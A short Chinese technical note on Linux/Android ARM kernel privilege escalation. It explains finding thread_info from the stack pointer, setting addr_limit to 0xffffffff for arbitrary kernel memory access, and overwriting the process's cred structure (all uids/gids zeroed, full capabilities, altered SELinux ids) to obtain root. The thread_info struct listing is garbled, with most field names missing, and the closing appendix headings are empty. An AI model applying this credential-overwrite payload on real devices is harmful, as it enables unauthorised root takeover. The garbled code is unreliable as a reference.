方法一:
通过寻找进程的thread_info结构,搜索匹配进程的cred结构,并修改其值获得root权限。thread_info(arch arm)结构如下:
/* / / / / / */ 20 #define ( << ) // THREAF_SIZE=8192
struct { unsigned long ; /* low level flags */ int ; /* 0 => preemptable, <0 => bug */ addr_limit; /* address limit */ struct *; /* main task structure */ ; /* cpu */ cpu_domain; /* cpu domain */ struct ; /* cpu context */ ; /* syscall number */ used_cp[16]; /* thread used copro */ unsigned long tp_value[2]; /* TLS registers */ #ifdef CONFIG_CRUNCH struct crunchstate; #endif union fpstate ((aligned(8))); union vfpstate; #ifdef CONFIG_ARM_THUMBEE unsigned long thumbee_state; /* ThumbEE Handler Base register */ #endif };
thread_info保存在栈的最低端,addr_limit表示进程可访问的地址空间,修改为0xffffffff可访问任意内核地址,task_struct保存进程权限值,修改权限值来达到提权的目的;
因为THREAD_SIZE为8192,因此thread_info=栈地址&0xffffe000(~(THREAD_SIZE - 1) = 0xfffe000),以下函数用于获取thread_info地址,其原理就是把esp的最后n(THREAD_SIZE栈大小的位数)位清空,那么就是基地址了,也就是thread_info的值:
static inline struct thread_info *current_thread_info(void) { return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1));}
那么根据& addr_limit = * thread_info + 8修改其值为0xffffffff;
内核3.x 在task_struct找不到security成员了,原来是将安全相关的信息剥离到一个叫做 cred 的结构体中,由cred负责保存进程安全上下文。根据task_struct=*(int*)(((int)&v)&0xffffe000)+0xc),找到task_struct结构体//v为内核定义的变量
然后通过thread_info.task_struct -> cred -> secutiry,修改以下值获取root权限:
credbuf.uid = 0;credbuf.gid = 0;credbuf.suid = 0;credbuf.sgid = 0;credbuf.euid = 0;credbuf.egid = 0;credbuf.fsuid = 0;credbuf.fsgid = 0;credbuf.cap_inheritable.cap[0] = 0xffffffff;credbuf.cap_inheritable.cap[1] = 0xffffffff;credbuf.cap_permitted.cap[0] = 0xffffffff;credbuf.cap_permitted.cap[1] = 0xffffffff;credbuf.cap_effective.cap[0] = 0xffffffff;credbuf.cap_effective.cap[1] = 0xffffffff;credbuf.cap_bset.cap[0] = 0xffffffff;credbuf.cap_bset.cap[1] = 0xffffffff;securitybuf.osid = 1;securitybuf.sid = 1;taskbuf.pid = 1;
附:task_struct:
cred: